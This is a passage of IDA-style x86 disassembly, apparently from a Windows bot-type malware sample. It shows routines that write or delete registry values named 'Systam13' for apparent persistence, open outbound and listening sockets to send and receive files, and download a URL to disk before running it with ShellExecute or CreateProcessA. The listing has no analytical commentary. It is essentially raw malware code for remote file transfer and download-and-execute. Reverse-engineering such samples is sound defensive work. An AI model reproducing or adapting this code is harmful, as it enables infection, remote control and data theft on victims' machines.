[ebp+var_11C] call sub_40BAE7 add esp, 14h loc_40A758: ; CODE XREF: sub_40A693+87j ; sub_40A693+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_43A834 jl short loc_40A70F loc_40A769: ; CODE XREF: sub_40A693+82j lea eax, [ebp+var_31C] push offset dword_429704 push eax call sub_415480 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40A7A3 push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40BAE7 add esp, 14h loc_40A7A3: ; CODE XREF: sub_40A693+EEj lea eax, [ebp+var_31C] push eax call sub_40A5B3 push [ebp+var_18] call sub_415248 pop ecx pop ecx push esi call ds:dword_422044 ; ExitThread pop edi pop esi sub_40A693 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7C2 proc near ; CODE XREF: sub_409288+1Ep ; sub_40CB17+346p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429750 xor esi, esi mov ebx, offset aSystam13 ; "Systam13" loc_40A7D5: ; CODE XREF: sub_40A7C2+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call ds:dword_43641C ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_40A80F push [ebp+arg_0] call sub_415C80 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call ds:dword_43648C ; RegSetValueExA jmp short loc_40A819 ; --------------------------------------------------------------------------- loc_40A80F: ; CODE XREF: sub_40A7C2+2Fj push ebx push [ebp+var_4] call ds:dword_4363D4 ; RegDeleteValueA loc_40A819: ; CODE XREF: sub_40A7C2+4Bj push [ebp+var_4] call ds:dword_436444 ; RegCloseKey add edi, 8 cmp edi, offset dword_429768 jb short loc_40A7D5 pop edi pop esi pop ebx leave retn sub_40A7C2 endp ; =============== S U B R O U T I N E ======================================= sub_40A832 proc near ; CODE XREF: sub_40A86D+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40A867 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40A84B: ; CODE XREF: sub_40A832+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_42227C[eax*4] xor esi, eax inc edx dec edi jnz short loc_40A84B pop edi pop ebx loc_40A867: ; CODE XREF: sub_40A832+Ej mov eax, esi pop esi not eax retn sub_40A832 endp ; =============== S U B R O U T I N E ======================================= sub_40A86D proc near ; CODE XREF: sub_40B105+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_415D2F mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_415B78 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40A8BC loc_40A892: ; CODE XREF: sub_40A86D+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40A8C0 inc ebx push ebx push esi call sub_41756F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40A8BC push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_416BA7 add esp, 10h jmp short loc_40A892 ; --------------------------------------------------------------------------- loc_40A8BC: ; CODE XREF: sub_40A86D+23j ; sub_40A86D+39j xor eax, eax jmp short loc_40A8DB ; --------------------------------------------------------------------------- loc_40A8C0: ; CODE XREF: sub_40A86D+29j dec ebx push ebx push esi call sub_40A832 push esi mov ebx, eax call sub_415DE1 push edi call sub_415AD0 add esp, 10h mov eax, ebx loc_40A8DB: ; CODE XREF: sub_40A86D+51j pop edi pop esi pop ebx retn sub_40A86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8DF proc near ; CODE XREF: sub_40A965+33p ; sub_40AEC8+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call ds:dword_4364E8 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40A95B push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415500 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call ds:dword_436468 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call ds:dword_4364A8 ; inet_addr cmp eax, esi jnz short loc_40A940 push [ebp+arg_0] call ds:dword_4364EC ; gethostbyname test eax, eax jz short loc_40A95B mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40A940: ; CODE XREF: sub_40A8DF+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call ds:dword_436410 ; connect cmp eax, esi jnz short loc_40A95F push edi call ds:dword_436500 ; closesocket loc_40A95B: ; CODE XREF: sub_40A8DF+1Bj ; sub_40A8DF+58j mov eax, esi jmp short loc_40A961 ; --------------------------------------------------------------------------- loc_40A95F: ; CODE XREF: sub_40A8DF+73j mov eax, edi loc_40A961: ; CODE XREF: sub_40A8DF+7Ej pop edi pop esi leave retn sub_40A8DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A965 proc near ; DATA XREF: sub_40D2E0+A88o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_415D00 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40A8DF mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40A9F8 lea eax, [ebp+var_11B4] push offset dword_4297EC push eax call sub_415480 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40A9DB push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40BAE7 add esp, 14h loc_40A9DB: ; CODE XREF: sub_40A965+59j lea eax, [ebp+var_11B4] push eax call sub_40A5B3 push [ebp+var_10] call sub_415248 pop ecx pop ecx push esi call ds:dword_422044 ; ExitThread loc_40A9F8: ; CODE XREF: sub_40A965+3Fj push offset byte_4325D8 push ebx call sub_409BB2 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40AA63 lea eax, [ebp+var_11B4] push offset dword_4297AC push eax call sub_415480 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40AA3F push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40BAE7 add esp, 14h loc_40AA3F: ; CODE XREF: sub_40A965+BDj lea eax, [ebp+var_11B4] push eax call sub_40A5B3 pop ecx push ebx call ds:dword_436500 ; closesocket push [ebp+var_10] call sub_415248 pop ecx push esi call ds:dword_422044 ; ExitThread loc_40AA63: ; CODE XREF: sub_40A965+A3j push 64h call ds:dword_422054 ; Sleep xor edi, edi mov esi, 1000h loc_40AA72: ; CODE XREF: sub_40A965+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call ds:dword_436480 ; recv test eax, eax jle short loc_40AACF lea eax, [ebp+var_11B4] push offset asc_425FD0 ; "\n" push eax call sub_415BA0 lea eax, [ebp+var_11B4] push eax call sub_40999E add esp, 0Ch test eax, eax jz short loc_40AACF push 64h call ds:dword_422054 ; Sleep push 7 call sub_415174 test eax, eax pop ecx jnz short loc_40AA72 loc_40AACF: ; CODE XREF: sub_40A965+130j ; sub_40A965+154j lea eax, [ebp+var_11B4] push offset dword_429768 push eax call sub_415480 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40AB02 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40BAE7 add esp, 14h loc_40AB02: ; CODE XREF: sub_40A965+180j lea eax, [ebp+var_11B4] push eax call sub_40A5B3 pop ecx push ebx call ds:dword_436500 ; closesocket push [ebp+var_10] call sub_415248 pop ecx push edi call ds:dword_422044 ; ExitThread sub_40A965 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB26 proc near ; DATA XREF: sub_40D2E0+4A7Co var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call ds:dword_4364E8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40AB74 push offset dword_429970 jmp loc_40AD2D ; --------------------------------------------------------------------------- loc_40AB74: ; CODE XREF: sub_40AB26+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_415500 add esp, 0Ch mov [ebp+var_30], 2 push esi call ds:dword_436468 ; htons mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call ds:dword_436494 ; bind test eax, eax jz short loc_40ABB2 push offset dword_42993C jmp loc_40AD2D ; --------------------------------------------------------------------------- loc_40ABB2: ; CODE XREF: sub_40AB26+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call ds:dword_43640C ; getsockname push [ebp+var_2E] call ds:dword_4363A4 ; htons mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_415C80 pop ecx loc_40ABE4: ; CODE XREF: sub_40AB26+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40ABF7 push 5Fh pop eax jmp short loc_40ABFA ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB26+CAj movsx eax, al loc_40ABFA: ; CODE XREF: sub_40AB26+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_415C80 cmp [ebp+arg_0], eax pop ecx jbe short loc_40ABE4 push ebx push edi call ds:dword_436490 ; listen test eax, eax jz short loc_40AC2D push offset dword_4297EC jmp loc_40AD2D ; --------------------------------------------------------------------------- loc_40AC2D: ; CODE XREF: sub_40AB26+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call ds:off_42207C cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40AC57 push offset dword_42990C jmp loc_40AD2D ; --------------------------------------------------------------------------- loc_40AC57: ; CODE XREF: sub_40AB26+125j push esi push eax call ds:off_422078 mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_409526 pop ecx push eax call ds:dword_4364A8 ; inet_addr push eax call ds:dword_436464 ; htonl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_4298F4 push eax call sub_415480 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40BAE7 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call ds:dword_436450 ; select test eax, eax jg short loc_40AD07 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_4298CC push eax push [ebp+var_1FC] call sub_40BAE7 jmp loc_40AE2B ; --------------------------------------------------------------------------- loc_40AD07: ; CODE XREF: sub_40AB26+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call ds:dword_4364FC ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40AD40 push offset dword_429898 loc_40AD2D: ; CODE XREF: sub_40AB26+49j ; sub_40AB26+87j ... lea eax, [ebp+var_3FC] push eax call sub_415480 pop ecx pop ecx jmp loc_40AE2E ; --------------------------------------------------------------------------- loc_40AD40: ; CODE XREF: sub_40AB26+200j push edi call ds:dword_436500 ; closesocket cmp [ebp+arg_0], esi jz loc_40ADF2 mov edi, 400h loc_40AD55: ; CODE XREF: sub_40AB26+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40AD62 mov [ebp+var_4], eax loc_40AD62: ; CODE XREF: sub_40AB26+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_415500 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call ds:off_42209C lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call ds:off_422098 push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call ds:dword_4364B8 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call ds:dword_436480 ; recv cmp eax, ebx jl loc_40AE87 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40AE87 sub [ebp+arg_0], eax jnz loc_40AD55 mov edi, [ebp+var_18] loc_40ADF2: ; CODE XREF: sub_40AB26+224j push [ebp+var_8] call ds:off_422074 push [ebp+var_C] push [ebp+var_10] call sub_40B62E pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_3FC] push offset dword_429848 push eax call sub_415480 loc_40AE2B: ; CODE XREF: sub_40AB26+1DCj add esp, 14h loc_40AE2E: ; CODE XREF: sub_40AB26+215j cmp [ebp+var_50], esi jnz short loc_40AE53 push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40BAE7 add esp, 14h loc_40AE53: ; CODE XREF: sub_40AB26+30Bj lea eax, [ebp+var_3FC] push eax call sub_40A5B3 cmp edi, esi pop ecx jbe short loc_40AE6B push edi call ds:dword_436500 ; closesocket loc_40AE6B: ; CODE XREF: sub_40AB26+33Cj push [ebp+var_1F8] call ds:dword_436500 ; closesocket push [ebp+var_58] call sub_415248 pop ecx push esi call ds:dword_422044 ; ExitThread loc_40AE87: ; CODE XREF: sub_40AB26+2AFj ; sub_40AB26+2BAj push esi mov esi, offset dword_429820 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_40BAE7 push esi call sub_40A5B3 add esp, 18h push [ebp+var_1F8] call ds:dword_436500 ; closesocket push [ebp+var_58] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread sub_40AB26 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEC8 proc near ; DATA XREF: sub_40D2E0+7C0o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_415D00 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax call ds:dword_422058 ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_415480 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call ds:off_42207C cmp eax, 0FFFFFFFFh jnz short loc_40AF52 push offset dword_429A68 jmp short loc_40AF98 ; --------------------------------------------------------------------------- loc_40AF52: ; CODE XREF: sub_40AEC8+81j push eax call ds:off_422074 lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_415B78 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40AF7A push offset dword_429A28 jmp short loc_40AF98 ; --------------------------------------------------------------------------- loc_40AF7A: ; CODE XREF: sub_40AEC8+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40A8DF pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40AFAB push offset dword_4299F8 loc_40AF98: ; CODE XREF: sub_40AEC8+88j ; sub_40AEC8+B0j lea eax, [ebp+var_4C4] push eax call sub_415480 pop ecx pop ecx jmp loc_40B0A7 ; --------------------------------------------------------------------------- loc_40AFAB: ; CODE XREF: sub_40AEC8+C9j mov esi, 1000h loc_40AFB0: ; CODE XREF: sub_40AEC8+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call ds:dword_436480 ; recv mov edi, eax cmp edi, ebx jz loc_40B077 cmp edi, 0FFFFFFFFh jz short loc_40B018 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_41780F add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call ds:dword_436464 ; htonl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call ds:dword_4364B8 ; send jmp short loc_40AFB0 ; --------------------------------------------------------------------------- loc_40B018: ; CODE XREF: sub_40AEC8+118j lea eax, [ebp+var_4C4] push offset dword_429820 push eax call sub_415480 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40BAE7 lea eax, [ebp+var_4C4] push eax call sub_40A5B3 push [ebp+var_4] call sub_415AD0 add esp, 24h push [ebp+arg_0] call ds:dword_436500 ; closesocket push [ebp+var_1C] call sub_415248 pop ecx push 1 call ds:dword_422044 ; ExitThread loc_40B077: ; CODE XREF: sub_40AEC8+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40B62E pop ecx pop ecx push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_4299A4 push eax call sub_415480 add esp, 14h loc_40B0A7: ; CODE XREF: sub_40AEC8+DEj cmp [ebp+var_14], ebx jnz short loc_40B0CC push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40BAE7 add esp, 14h loc_40B0CC: ; CODE XREF: sub_40AEC8+1E2j lea eax, [ebp+var_4C4] push eax call sub_40A5B3 cmp [ebp+var_4], ebx pop ecx jz short loc_40B0E7 push [ebp+var_4] call sub_415AD0 pop ecx loc_40B0E7: ; CODE XREF: sub_40AEC8+214j cmp [ebp+arg_0], ebx jbe short loc_40B0F5 push [ebp+arg_0] call ds:dword_436500 ; closesocket loc_40B0F5: ; CODE XREF: sub_40AEC8+222j push [ebp+var_1C] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread sub_40AEC8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B105 proc near ; DATA XREF: sub_40D2E0+381Eo ; sub_40D2E0+3F6Do var_570 = qword ptr -570h var_564 = qword ptr -564h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push ds:dword_436418 call ds:dword_436378 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_40B591 push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call ds:off_42207C cmp eax, edi mov [ebp+var_20], eax jnb short loc_40B1CC lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_429CFC push eax call sub_415480 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40B1AF push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40BAE7 add esp, 14h loc_40B1AF: ; CODE XREF: sub_40B105+88j lea eax, [ebp+var_510] push eax call sub_40A5B3 push [ebp+var_48] call sub_415248 pop ecx pop ecx push esi call ds:dword_422044 ; ExitThread loc_40B1CC: ; CODE XREF: sub_40B105+68j xor edi, edi call ds:dword_422048 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_415D2F pop ecx mov [ebp+var_1C], eax loc_40B1E6: ; CODE XREF: sub_40B105+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_415500 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call ds:dword_436380 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_40B22A push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40B5F7 pop ecx pop ecx loc_40B22A: ; CODE XREF: sub_40B105+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call ds:dword_4220B0 ; WriteFile cmp edi, ebx jnb short loc_40B268 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40B252 mov eax, [ebp+arg_0] loc_40B252: ; CODE XREF: sub_40B105+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_415560 add esp, 0Ch loc_40B268: ; CODE XREF: sub_40B105+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40B275 cmp edi, [ebp+var_3C] ja short loc_40B2BF loc_40B275: ; CODE XREF: sub_40B105+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40B28F shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_429CB4 jmp short loc_40B29F ; --------------------------------------------------------------------------- loc_40B28F: ; CODE XREF: sub_40B105+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_429C74 loc_40B29F: ; CODE XREF: sub_40B105+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_43BCC0 push eax call sub_415480 add esp, 10h cmp [ebp+arg_0], esi ja loc_40B1E6 loc_40B2BF: ; CODE XREF: sub_40B105+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40B314 cmp edi, [ebp+var_3C] jz short loc_40B314 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_429C30 push eax call sub_415480 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40BAE7 lea eax, [ebp+var_510] push eax call sub_40A5B3 add esp, 28h loc_40B314: ; CODE XREF: sub_40B105+1C4j ; sub_40B105+1C9j call ds:dword_422048 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call ds:off_422074 push [ebp+var_1C] call sub_415DE1 cmp [ebp+var_38], esi pop ecx jz short loc_40B39E lea eax, [ebp+var_148] push eax call sub_40A86D cmp eax, [ebp+var_38] pop ecx jz short loc_40B39E push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_429BF8 push eax call sub_415480 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40BAE7 lea eax, [ebp+var_510] push eax call sub_40A5B3 add esp, 28h loc_40B39E: ; CODE XREF: sub_40B105+241j ; sub_40B105+253j cmp [ebp+var_14], esi jz loc_40B5DE cmp [ebp+var_44], 1 jz loc_40B499 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_422680 lea eax, [ebp+var_148] fstp [esp+564h+var_564] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul ds:dbl_422680 fstp [esp+570h+var_570] push offset unk_429BB0 push eax call sub_415480 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40B419 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40BAE7 add esp, 14h loc_40B419: ; CODE XREF: sub_40B105+2F2j lea eax, [ebp+var_510] push eax call sub_40A5B3 cmp [ebp+var_40], 1 pop ecx jnz loc_40B5DE push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call ds:dword_4363DC cmp [ebp+var_30], esi jnz loc_40B5DE lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_429B7C push eax call sub_415480 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40BAE7 lea eax, [ebp+var_510] push eax call sub_40A5B3 add esp, 24h jmp loc_40B5DE ; --------------------------------------------------------------------------- loc_40B499: ; CODE XREF: sub_40B105+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_422680 lea eax, [ebp+var_148] fstp [esp+564h+var_564] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul ds:dbl_422680 fstp [esp+570h+var_570] push offset unk_429B2C push eax call sub_415480 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40B501 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40BAE7 add esp, 14h loc_40B501: ; CODE XREF: sub_40B105+3DAj lea eax, [ebp+var_510] push eax call sub_40A5B3 push 10h lea eax, [ebp+var_10] push esi push eax call sub_415500 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_415500 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_4325D8 push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi call ds:dword_422104 ; CreateProcessA cmp eax, edi jnz short loc_40B583 call ds:dword_4363C8 ; WSACleanup call sub_409288 push esi call ds:off_42212C loc_40B583: ; CODE XREF: sub_40B105+46Aj lea eax, [ebp+var_148] push eax push offset unk_429AE4 jmp short loc_40B59D ; --------------------------------------------------------------------------- loc_40B591: ; CODE XREF: sub_40B105+45j lea eax, [ebp+var_248] push eax push offset unk_429AA8 loc_40B59D: ; CODE XREF: sub_40B105+48Aj lea eax, [ebp+var_510] push eax call sub_415480 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40B5D1 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40BAE7 add esp, 14h loc_40B5D1: ; CODE XREF: sub_40B105+4AAj lea eax, [ebp+var_510] push eax call sub_40A5B3 pop ecx loc_40B5DE: ; CODE XREF: sub_40B105+29Cj ; 